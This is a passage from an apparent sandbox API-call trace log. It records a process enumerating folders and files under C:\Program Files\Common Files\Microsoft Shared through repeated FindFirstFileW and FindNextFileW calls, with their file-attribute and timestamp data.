ftLastWriteTime.dwHighDateTime=0x1d305eb, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName=".", cAlternateFileName="")) returned 0x593060 [0050.101] FindNextFileW (in: hFindFile=0x593060, lpFindFileData=0x2d5f288 | out: lpFindFileData=0x2d5f288*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0xeed123f0, ftCreationTime.dwHighDateTime=0x1d301be, ftLastAccessTime.dwLowDateTime=0xd5807780, ftLastAccessTime.dwHighDateTime=0x1d305eb, ftLastWriteTime.dwLowDateTime=0xd5807780, ftLastWriteTime.dwHighDateTime=0x1d305eb, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName="..", cAlternateFileName="")) returned 1 [0050.101] FindNextFileW (in: hFindFile=0x593060, lpFindFileData=0x2d5f288 | out: lpFindFileData=0x2d5f288*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0xeee1cd90, ftCreationTime.dwHighDateTime=0x1d301be, ftLastAccessTime.dwLowDateTime=0xef058230, ftLastAccessTime.dwHighDateTime=0x1d301be, ftLastWriteTime.dwLowDateTime=0xef058230, ftLastWriteTime.dwHighDateTime=0x1d301be, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName="1033", cAlternateFileName="")) returned 1 [0050.101] FindFirstFileW (in: lpFileName="\\\\?\\C:\\Program Files\\Common Files\\Microsoft Shared\\Smart Tag\\1033\\*", lpFindFileData=0x2d5f004 | out: lpFindFileData=0x2d5f004*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0xeee1cd90, ftCreationTime.dwHighDateTime=0x1d301be, ftLastAccessTime.dwLowDateTime=0xef058230, ftLastAccessTime.dwHighDateTime=0x1d301be, ftLastWriteTime.dwLowDateTime=0xef058230, ftLastWriteTime.dwHighDateTime=0x1d301be, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName=".", cAlternateFileName="")) returned 0x593260 [0050.107] FindNextFileW (in: hFindFile=0x593260, lpFindFileData=0x2d5f004 | out: lpFindFileData=0x2d5f004*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0xeee1cd90, ftCreationTime.dwHighDateTime=0x1d301be, ftLastAccessTime.dwLowDateTime=0xef058230, ftLastAccessTime.dwHighDateTime=0x1d301be, ftLastWriteTime.dwLowDateTime=0xef058230, ftLastWriteTime.dwHighDateTime=0x1d301be, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName="..", cAlternateFileName="")) returned 1 [0050.107] FindNextFileW (in: hFindFile=0x593260, lpFindFileData=0x2d5f004 | out: lpFindFileData=0x2d5f004*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0xc52bb100, ftCreationTime.dwHighDateTime=0x1ca6185, ftLastAccessTime.dwLowDateTime=0xeee1cd90, ftLastAccessTime.dwHighDateTime=0x1d301be, ftLastWriteTime.dwLowDateTime=0xc52bb100, ftLastWriteTime.dwHighDateTime=0x1ca6185, nFileSizeHigh=0x0, nFileSizeLow=0x2cc7, dwReserved0=0x0, dwReserved1=0x0, cFileName="MCABOUT.HTM", cAlternateFileName="")) returned 1 [0050.107] FindClose (in: hFindFile=0x593260 | out: hFindFile=0x593260) returned 1 [0050.108] HeapFree (in: hHeap=0xb80000, dwFlags=0x0, lpMem=0x37e0068 | out: hHeap=0xb80000) returned 1 [0050.108] FindNextFileW (in: hFindFile=0x593060, lpFindFileData=0x2d5f288 | out: lpFindFileData=0x2d5f288*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x7b89b100, ftCreationTime.dwHighDateTime=0x1caac21, ftLastAccessTime.dwLowDateTime=0x5226a510, ftLastAccessTime.dwHighDateTime=0x1d301bf, ftLastWriteTime.dwLowDateTime=0x7b89b100, ftLastWriteTime.dwHighDateTime=0x1caac21, nFileSizeHigh=0x0, nFileSizeLow=0x1e380, dwReserved0=0x0, dwReserved1=0x0, cFileName="FBIBLIO.DLL", cAlternateFileName="")) returned 1 [0050.108] FindFirstFileW (in: lpFileName="\\\\?\\C:\\Program Files\\Common Files\\Microsoft Shared\\Smart Tag\\LISTS\\*", lpFindFileData=0x2d5f004 | out: lpFindFileData=0x2d5f004*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0xeed123f0, ftCreationTime.dwHighDateTime=0x1d301be, ftLastAccessTime.dwLowDateTime=0x5f42f7d0, ftLastAccessTime.dwHighDateTime=0x1d301bf, ftLastWriteTime.dwLowDateTime=0x5f42f7d0, ftLastWriteTime.dwHighDateTime=0x1d301bf, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName=".", cAlternateFileName="")) returned 0x5930a0 [0050.112] FindNextFileW (in: hFindFile=0x5930a0, lpFindFileData=0x2d5f004 | out: lpFindFileData=0x2d5f004*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0xeed123f0, ftCreationTime.dwHighDateTime=0x1d301be, ftLastAccessTime.dwLowDateTime=0x5f42f7d0, ftLastAccessTime.dwHighDateTime=0x1d301bf, ftLastWriteTime.dwLowDateTime=0x5f42f7d0, ftLastWriteTime.dwHighDateTime=0x1d301bf, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName="..", cAlternateFileName="")) returned 1 [0050.112] FindNextFileW (in: hFindFile=0x5930a0, lpFindFileData=0x2d5f004 | out: lpFindFileData=0x2d5f004*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0xeed123f0, ftCreationTime.dwHighDateTime=0x1d301be, ftLastAccessTime.dwLowDateTime=0xef07e390, ftLastAccessTime.dwHighDateTime=0x1d301be, ftLastWriteTime.dwLowDateTime=0xef07e390, ftLastWriteTime.dwHighDateTime=0x1d301be, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName="1033", cAlternateFileName="")) returned 1 [0050.112] FindFirstFileW (in: lpFileName="\\\\?\\C:\\Program Files\\Common Files\\Microsoft Shared\\Smart Tag\\LISTS\\1033\\*", lpFindFileData=0x2d5ed80 | out: lpFindFileData=0x2d5ed80*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0xeed123f0, ftCreationTime.dwHighDateTime=0x1d301be, ftLastAccessTime.dwLowDateTime=0xef07e390, ftLastAccessTime.dwHighDateTime=0x1d301be, ftLastWriteTime.dwLowDateTime=0xef07e390, ftLastWriteTime.dwHighDateTime=0x1d301be, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName=".", cAlternateFileName="")) returned 0x593260 [0050.112] FindNextFileW (in: hFindFile=0x593260, lpFindFileData=0x2d5ed80 | out: lpFindFileData=0x2d5ed80*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0xeed123f0, ftCreationTime.dwHighDateTime=0x1d301be, ftLastAccessTime.dwLowDateTime=0xef07e390, ftLastAccessTime.dwHighDateTime=0x1d301be, ftLastWriteTime.dwLowDateTime=0xef07e390, ftLastWriteTime.dwHighDateTime=0x1d301be, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName="..", cAlternateFileName="")) returned 1 [0050.112] FindNextFileW (in: hFindFile=0x593260, lpFindFileData=0x2d5ed80 | out: lpFindFileData=0x2d5ed80*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x310fad00, ftCreationTime.dwHighDateTime=0x1c2d758, ftLastAccessTime.dwLowDateTime=0xeed123f0, ftLastAccessTime.dwHighDateTime=0x1d301be, ftLastWriteTime.dwLowDateTime=0x310fad00, ftLastWriteTime.dwHighDateTime=0x1c2d758, nFileSizeHigh=0x0, nFileSizeLow=0x22d6, dwReserved0=0x0, dwReserved1=0x0, cFileName="DATES.XML", cAlternateFileName="")) returned 1 [0050.112] FindClose (in: hFindFile=0x593260 | out: hFindFile=0x593260) returned 1 [0050.112] HeapFree (in: hHeap=0xb80000, dwFlags=0x0, lpMem=0x37f0070 | out: hHeap=0xb80000) returned 1 [0050.112] FindNextFileW (in: hFindFile=0x5930a0, lpFindFileData=0x2d5f004 | out: lpFindFileData=0x2d5f004*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x11f34c00, ftCreationTime.dwHighDateTime=0x1c62260, ftLastAccessTime.dwLowDateTime=0x5f42f7d0, ftLastAccessTime.dwHighDateTime=0x1d301bf, ftLastWriteTime.dwLowDateTime=0x11f34c00, ftLastWriteTime.dwHighDateTime=0x1c62260, nFileSizeHigh=0x0, nFileSizeLow=0x377ef, dwReserved0=0x0, dwReserved1=0x0, cFileName="BASMLA.XSL", cAlternateFileName="")) returned 1 [0050.112] FindClose (in: hFindFile=0x5930a0 | out: hFindFile=0x5930a0) returned 1 [0050.113] HeapFree (in: hHeap=0xb80000, dwFlags=0x0, lpMem=0x37e0068 | out: hHeap=0xb80000) returned 1 [0050.113] FindNextFileW (in: hFindFile=0x593060, lpFindFileData=0x2d5f288 | out: lpFindFileData=0x2d5f288*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x93e94600, ftCreationTime.dwHighDateTime=0x1ca9120, ftLastAccessTime.dwLowDateTime=0x583906f0, ftLastAccessTime.dwHighDateTime=0x1d301bf, ftLastWriteTime.dwLowDateTime=0x93e94600, ftLastWriteTime.dwHighDateTime=0x1ca9120, nFileSizeHigh=0x0, nFileSizeLow=0x1b180, dwReserved0=0x0, dwReserved1=0x0, cFileName="METCONV.DLL", cAlternateFileName="")) returned 1 [0050.113] FindClose (in: hFindFile=0x593060 | out: hFindFile=0x593060) returned 1 [0050.113] HeapFree (in: hHeap=0xb80000, dwFlags=0x0, lpMem=0x3820088 | out: hHeap=0xb80000) returned 1 [0050.113] FindNextFileW (in: hFindFile=0x593160, lpFindFileData=0x2d5f50c | out: lpFindFileData=0x2d5f50c*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0xeef4d890, ftCreationTime.dwHighDateTime=0x1d301be, ftLastAccessTime.dwLowDateTime=0xeef4d890, ftLastAccessTime.dwHighDateTime=0x1d301be, ftLastWriteTime.dwLowDateTime=0xeef4d890, ftLastWriteTime.dwHighDateTime=0x1d301be, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName="Source Engine", cAlternateFileName="SOURCE~1")) returned 1 [0050.113] FindFirstFileW (in: lpFileName="\\\\?\\C:\\Program Files\\Common Files\\Microsoft Shared\\Source Engine\\*", lpFindFileData=0x2d5f288 | out: lpFindFileData=0x2d5f288*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0xeef4d890, ftCreationTime.dwHighDateTime=0x1d301be, ftLastAccessTime.dwLowDateTime=0xeef4d890, ftLastAccessTime.dwHighDateTime=0x1d301be, ftLastWriteTime.dwLowDateTime=0xeef4d890, ftLastWriteTime.dwHighDateTime=0x1d301be, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName=".", cAlternateFileName="")) returned 0x5931e0 [0050.354] FindNextFileW (in: hFindFile=0x5931e0, lpFindFileData=0x2d5f288 | out: lpFindFileData=0x2d5f288*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0xeef4d890, ftCreationTime.dwHighDateTime=0x1d301be, ftLastAccessTime.dwLowDateTime=0xeef4d890, ftLastAccessTime.dwHighDateTime=0x1d301be, ftLastWriteTime.dwLowDateTime=0xeef4d890, ftLastWriteTime.dwHighDateTime=0x1d301be, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName="..", cAlternateFileName="")) returned 1 [0050.354] FindNextFileW (in: hFindFile=0x5931e0, lpFindFileData=0x2d5f288 | out: lpFindFileData=0x2d5f288*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0xcfcedc00, ftCreationTime.dwHighDateTime=0x1ca911d, ftLastAccessTime.dwLowDateTime=0xeef4d890, ftLastAccessTime.dwHighDateTime=0x1d301be, ftLastWriteTime.dwLowDateTime=0xcfcedc00, ftLastWriteTime.dwHighDateTime=0x1ca911d, nFileSizeHigh=0x0, nFileSizeLow=0x2a968, dwReserved0=0x0, dwReserved1=0x0, cFileName="OSE.EXE", cAlternateFileName="")) returned 1 [0050.359] FindClose (in: hFindFile=0x5931e0 | out: hFindFile=0x5931e0) returned 1 [0050.361] HeapFree (in: hHeap=0xb80000, dwFlags=0x0, lpMem=0x3820088 | out: hHeap=0xb80000) returned 1 [0050.363] FindNextFileW (in: hFindFile=0x593160, lpFindFileData=0x2d5f50c | out: lpFindFileData=0x2d5f50c*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0xfd85ef28, ftCreationTime.dwHighDateTime=0x1ca0431, ftLastAccessTime.dwLowDateTime=0x9e177d26, ftLastAccessTime.dwHighDateTime=0x1cbf8eb, ftLastWriteTime.dwLowDateTime=0x9e177d26, ftLastWriteTime.dwHighDateTime=0x1cbf8eb, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName="Stationery", cAlternateFileName="STATIO~1")) returned 1 [0050.368] FindFirstFileW (in: lpFileName="\\\\?\\C:\\Program Files\\Common Files\\Microsoft Shared\\Stationery\\*", lpFindFileData=0x2d5f288 | out: lpFindFileData=0x2d5f288*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0xfd85ef28, ftCreationTime.dwHighDateTime=0x1ca0431, ftLastAccessTime.dwLowDateTime=0x9e177d26, ftLastAccessTime.dwHighDateTime=0x1cbf8eb, ftLastWriteTime.dwLowDateTime=0x9e177d26, ftLastWriteTime.dwHighDateTime=0x1cbf8eb, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName=".", cAlternateFileName="")) returned 0x5932a0 [0050.395] FindNextFileW (in: hFindFile=0x5932a0, lpFindFileData=0x2d5f288 | out: lpFindFileData=0x2d5f288*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0xfd85ef28, ftCreationTime.dwHighDateTime=0x1ca0431, ftLastAccessTime.dwLowDateTime=0x9e177d26, ftLastAccessTime.dwHighDateTime=0x1cbf8eb, ftLastWriteTime.dwLowDateTime=0x9e177d26, ftLastWriteTime.dwHighDateTime=0x1cbf8eb, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName="..", cAlternateFileName="")) returned 1 [0050.395] FindNextFileW (in: hFindFile=0x5932a0, lpFindFileData=0x2d5f288 | out: lpFindFileData=0x2d5f288*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0xce2608de, ftCreationTime.dwHighDateTime=0x1ca040d, ftLastAccessTime.dwLowDateTime=0xce2608de, ftLastAccessTime.dwHighDateTime=0x1ca040d, ftLastWriteTime.dwLowDateTime=0xcdfff30e, ftLastWriteTime.dwHighDateTime=0x1ca040d, nFileSizeHigh=0x0, nFileSizeLow=0xff, dwReserved0=0x0, dwReserved1=0x0, cFileName="Bears.htm", cAlternateFileName="")) returned 1 [0050.396] FindClose (in: hFindFile=0x5932a0 | out: hFindFile=0x5932a0) returned 1 [0050.396] HeapFree (in: hHeap=0xb80000, dwFlags=0x0, lpMem=0x37f0070 | out: hHeap=0xb80000) returned 1 [0050.397] FindNextFileW (in: hFindFile=0x593160, lpFindFileData=0x2d5f50c | out: lpFindFileData=0x2d5f50c*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0x80020c30, ftCreationTime.dwHighDateTime=0x1ca0444, ftLastAccessTime.dwLowDateTime=0xcf4f23c0, ftLastAccessTime.dwHighDateTime=0x1d305eb, ftLastWriteTime.dwLowDateTime=0xcf4f23c0, ftLastWriteTime.dwHighDateTime=0x1d305eb, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName="TextConv", cAlternateFileName="")) returned 1 [0050.397] FindFirstFileW (in: lpFileName="\\\\?\\C:\\Program Files\\Common Files\\Microsoft Shared\\TextConv\\*", lpFindFileData=0x2d5f288 | out: lpFindFileData=0x2d5f288*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0x80020c30, ftCreationTime.dwHighDateTime=0x1ca0444, ftLastAccessTime.dwLowDateTime=0xcf4f23c0, ftLastAccessTime.dwHighDateTime=0x1d305eb, ftLastWriteTime.dwLowDateTime=0xcf4f23c0, ftLastWriteTime.dwHighDateTime=0x1d305eb, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName=".", cAlternateFileName="")) returned 0x5932a0 [0050.397] FindNextFileW (in: hFindFile=0x5932a0, lpFindFileData=0x2d5f288 | out: lpFindFileData=0x2d5f288*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0x80020c30, ftCreationTime.dwHighDateTime=0x1ca0444, ftLastAccessTime.dwLowDateTime=0xcf4f23c0, ftLastAccessTime.dwHighDateTime=0x1d305eb, ftLastWriteTime.dwLowDateTime=0xcf4f23c0, ftLastWriteTime.dwHighDateTime=0x1d305eb, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName="..", cAlternateFileName="")) returned 1 [0050.397] FindNextFileW (in: hFindFile=0x5932a0, lpFindFileData=0x2d5f288 | out: lpFindFileData=0x2d5f288*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0x1eab37af, ftCreationTime.dwHighDateTime=0x1cbf8ea, ftLastAccessTime.dwLowDateTime=0x23ecb743, ftLastAccessTime.dwHighDateTime=0x1cbf8ea, ftLastWriteTime.dwLowDateTime=0x1eab37af, ftLastWriteTime.dwHighDateTime=0x1cbf8ea, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName="en-US", cAlternateFileName="")) returned 1 [0050.397] FindFirstFileW (in: lpFileName="\\\\?\\C:\\Program Files\\Common Files\\Microsoft Shared\\TextConv\\en-US\\*", lpFindFileData=0x2d5f004 | out: lpFindFileData=0x2d5f004*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0x1eab37af, ftCreationTime.dwHighDateTime=0x1cbf8ea, ftLastAccessTime.dwLowDateTime=0x23ecb743, ftLastAccessTime.dwHighDateTime=0x1cbf8ea, ftLastWriteTime.dwLowDateTime=0x1eab37af, ftLastWriteTime.dwHighDateTime=0x1cbf8ea, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName=".", cAlternateFileName="")) returned 0x593060 [0050.397] FindNextFileW (in: hFindFile=0x593060, lpFindFileData=0x2d5f004 | out: lpFindFileData=0x2d5f004*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0x1eab37af, ftCreationTime.dwHighDateTime=0x1cbf8ea, ftLastAccessTime.dwLowDateTime=0x23ecb743, ftLastAccessTime.dwHighDateTime=0x1cbf8ea, ftLastWriteTime.dwLowDateTime=0x1eab37af, ftLastWriteTime.dwHighDateTime=0x1cbf8ea, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName="..", cAlternateFileName="")) returned 1 [0050.397] FindNextFileW (in: hFindFile=0x593060, lpFindFileData=0x2d5f004 | out: lpFindFileData=0x2d5f004*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0x1eab37af, ftCreationTime.dwHighDateTime=0x1cbf8ea, ftLastAccessTime.dwLowDateTime=0x23ecb743, ftLastAccessTime.dwHighDateTime=0x1cbf8ea, ftLastWriteTime.dwLowDateTime=0x1eab37af, ftLastWriteTime.dwHighDateTime=0x1cbf8ea, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName="..", cAlternateFileName="")) returned 0 [0050.397] FindClose (in: hFindFile=0x593060 | out: hFindFile=0x593060) returned 1 [0050.397] HeapFree (in: hHeap=0xb80000, dwFlags=0x0, lpMem=0x3800078 | out: hHeap=0xb80000) returned 1 [0050.397] FindNextFileW (in: hFindFile=0x5932a0, lpFindFileData=0x2d5f288 | out: lpFindFileData=0x2d5f288*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x3e16af00, ftCreationTime.dwHighDateTime=0x1cbae03, ftLastAccessTime.dwLowDateTime=0xcf518520, ftLastAccessTime.dwHighDateTime=0x1d305eb, ftLastWriteTime.dwLowDateTime=0x3e16af00, ftLastWriteTime.dwHighDateTime=0x1cbae03, nFileSizeHigh=0x0, nFileSizeLow=0x23d78, dwReserved0=0x0, dwReserved1=0x0, cFileName="MSCONV97.DLL", cAlternateFileName="")) returned 1 [0050.398] FindClose (in: hFindFile=0x5932a0 | out: hFindFile=0x5932a0) returned 1 [0050.398] HeapFree (in: hHeap=0xb80000, dwFlags=0x0, lpMem=0x37f0070 | out: hHeap=0xb80000) returned 1 [0050.398] FindNextFileW (in: hFindFile=0x593160, lpFindFileData=0x2d5f50c | out: lpFindFileData=0x2d5f50c*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0x512f1610, ftCreationTime.dwHighDateTime=0x1d301bf, ftLastAccessTime.dwLowDateTime=0x6d462ff0, ftLastAccessTime.dwHighDateTime=0x1d301bf, ftLastWriteTime.dwLowDateTime=0x6d462ff0, ftLastWriteTime.dwHighDateTime=0x1d301bf, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName="THEMES14", cAlternateFileName="")) returned 1 [0050.398] FindFirstFileW (in: lpFileName="\\\\?\\C:\\Program Files\\Common Files\\Microsoft Shared\\THEMES14\\*", lpFindFileData=0x2d5f288 | out: lpFindFileData=0x2d5f288*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0x512f1610, ftCreationTime.dwHighDateTime=0x1d301bf, ftLastAccessTime.dwLowDateTime=0x6d462ff0, ftLastAccessTime.dwHighDateTime=0x1d301bf, ftLastWriteTime.dwLowDateTime=0x6d462ff0, ftLastWriteTime.dwHighDateTime=0x1d301bf, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName=".", cAlternateFileName="")) returned 0x5932a0 [0050.649] FindNextFileW (in: hFindFile=0x5932a0, lpFindFileData=0x2d5f288 | out: lpFindFileData=0x2d5f288*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0x512f1610, ftCreationTime.dwHighDateTime=0x1d301bf, ftLastAccessTime.dwLowDateTime=0x6d462ff0, ftLastAccessTime.dwHighDateTime=0x1d301bf, ftLastWriteTime.dwLowDateTime=0x6d462ff0, ftLastWriteTime.dwHighDateTime=0x1d301bf, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName="..", cAlternateFileName="")) returned 1 [0050.649] FindNextFileW (in: hFindFile=0x5932a0, lpFindFileData=0x2d5f288 | out: lpFindFileData=0x2d5f288*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0x512f1610, ftCreationTime.dwHighDateTime=0x1d301bf, ftLastAccessTime.dwLowDateTime=0x6d05ead0, ftLastAccessTime.dwHighDateTime=0x1d301bf, ftLastWriteTime.dwLowDateTime=0x6d05ead0, ftLastWriteTime.dwHighDateTime=0x1d301bf, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName="AFTRNOON", cAlternateFileName="")) returned 1 [0050.649] FindFirstFileW (in: lpFileName="\\\\?\\C:\\Program Files\\Common Files\\Microsoft Shared\\THEMES14\\AFTRNOON\\*", lpFindFileData=0x2d5f004 | out: lpFindFileData=0x2d5f004*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0x512f1610, ftCreationTime.dwHighDateTime=0x1d301bf, ftLastAccessTime.dwLowDateTime=0x6d05ead0, ftLastAccessTime.dwHighDateTime=0x1d301bf, ftLastWriteTime.dwLowDateTime=0x6d05ead0, ftLastWriteTime.dwHighDateTime=0x1d301bf, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName=".", cAlternateFileName="")) returned 0x593060 [0050.649] FindNextFileW (in: hFindFile=0x593060, lpFindFileData=0x2d5f004 | out: lpFindFileData=0x2d5f004*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0x512f1610, ftCreationTime.dwHighDateTime=0x1d301bf, ftLastAccessTime.dwLowDateTime=0x6d05ead0, ftLastAccessTime.dwHighDateTime=0x1d301bf, ftLastWriteTime.dwLowDateTime=0x6d05ead0, ftLastWriteTime.dwHighDateTime=0x1d301bf, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName="..", cAlternateFileName="")) returned 1 [0050.649] FindNextFileW (in: hFindFile=0x593060, lpFindFileData=0x2d5f004 | out: lpFindFileData=0x2d5f004*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0xdad6ec00, ftCreationTime.dwHighDateTime=0x1cab7f1, ftLastAccessTime.dwLowDateTime=0x5eb42550, ftLastAccessTime.dwHighDateTime=0x1d301bf, ftLastWriteTime.dwLowDateTime=0xdad6ec00, ftLastWriteTime.dwHighDateTime=0x1cab7f1, nFileSizeHigh=0x0, nFileSizeLow=0xe58e, dwReserved0=0x0, dwReserved1=0x0, cFileName="AFTRNOON.ELM", cAlternateFileName="")) returned 1 [0050.649] FindClose (in: hFindFile=0x593060 | out: hFindFile=0x593060) returned 1 [0050.649] HeapFree (in: hHeap=0xb80000, dwFlags=0x0, lpMem=0x3800078 | out: hHeap=0xb80000) returned 1 [0050.649] FindNextFileW (in: hFindFile=0x5932a0, lpFindFileData=0x2d5f288 | out: lpFindFileData=0x2d5f288*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0x5146e3d0, ftCreationTime.dwHighDateTime=0x1d301bf, ftLastAccessTime.dwLowDateTime=0x6d462ff0, ftLastAccessTime.dwHighDateTime=0x1d301bf, ftLastWriteTime.dwLowDateTime=0x6d462ff0, ftLastWriteTime.dwHighDateTime=0x1d301bf, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName="ARCTIC", cAlternateFileName="")) returned 1 [0050.649] FindFirstFileW (in: lpFileName="\\\\?\\C:\\Program Files\\Common Files\\Microsoft Shared\\THEMES14\\ARCTIC\\*", lpFindFileData=0x2d5f004 | out: lpFindFileData=0x2d5f004*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0x5146e3d0, ftCreationTime.dwHighDateTime=0x1d301bf, ftLastAccessTime.dwLowDateTime=0x6d462ff0, ftLastAccessTime.dwHighDateTime=0x1d301bf, ftLastWriteTime.dwLowDateTime=0x6d462ff0, ftLastWriteTime.dwHighDateTime=0x1d301bf, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName=".", cAlternateFileName="")) returned 0x593060 [0050.650] FindNextFileW (in: hFindFile=0x593060, lpFindFileData=0x2d5f004 | out: lpFindFileData=0x2d5f004*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0x5146e3d0, ftCreationTime.dwHighDateTime=0x1d301bf, ftLastAccessTime.dwLowDateTime=0x6d462ff0, ftLastAccessTime.dwHighDateTime=0x1d301bf, ftLastWriteTime.dwLowDateTime=0x6d462ff0, ftLastWriteTime.dwHighDateTime=0x1d301bf, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName="..", cAlternateFileName="")) returned 1 [0050.650] FindNextFileW (in: hFindFile=0x593060, lpFindFileData=0x2d5f004 | out: lpFindFileData=0x2d5f004*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0xdc081900, ftCreationTime.dwHighDateTime=0x1cab7f1, ftLastAccessTime.dwLowDateTime=0x5146e3d0, ftLastAccessTime.dwHighDateTime=0x1d301bf, ftLastWriteTime.dwLowDateTime=0xdc081900, ftLastWriteTime.dwHighDateTime=0x1cab7f1, nFileSizeHigh=0x0, nFileSizeLow=0x10fc7, dwReserved0=0x0, dwReserved1=0x0, cFileName="ARCTIC.ELM", cAlternateFileName="")) returned 1 [0050.650] FindClose (in: hFindFile=0x593060 | out: hFindFile=0x593060) returned 1 [0050.650] HeapFree (in: hHeap=0xb80000, dwFlags=0x0, lpMem=0x3800078 | out: hHeap=0xb80000) returned 1 [0050.650] FindNextFileW (in: hFindFile=0x5932a0, lpFindFileData=0x2d5f288 | out: lpFindFileData=0x2d5f288*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0x51767f50, ftCreationTime.dwHighDateTime=0x1d301bf, ftLastAccessTime.dwLowDateTime=0x6d05ead0, ftLastAccessTime.dwHighDateTime=0x1d301bf, ftLastWriteTime.dwLowDateTime=0x6d05ead0, ftLastWriteTime.dwHighDateTime=0x1d301bf, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName="AXIS", cAlternateFileName="")) returned 1 [0050.650] FindFirstFileW (in: lpFileName="\\\\?\\C:\\Program Files\\Common Files\\Microsoft Shared\\THEMES14\\AXIS\\*", lpFindFileData=0x2d5f004 | out: lpFindFileData=0x2d5f004*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0x51767f50, ftCreationTime.dwHighDateTime=0x1d301bf, ftLastAccessTime.dwLowDateTime=0x6d05ead0, ftLastAccessTime.dwHighDateTime=0x1d301bf, ftLastWriteTime.dwLowDateTime=0x6d05ead0, ftLastWriteTime.dwHighDateTime=0x1d301bf, 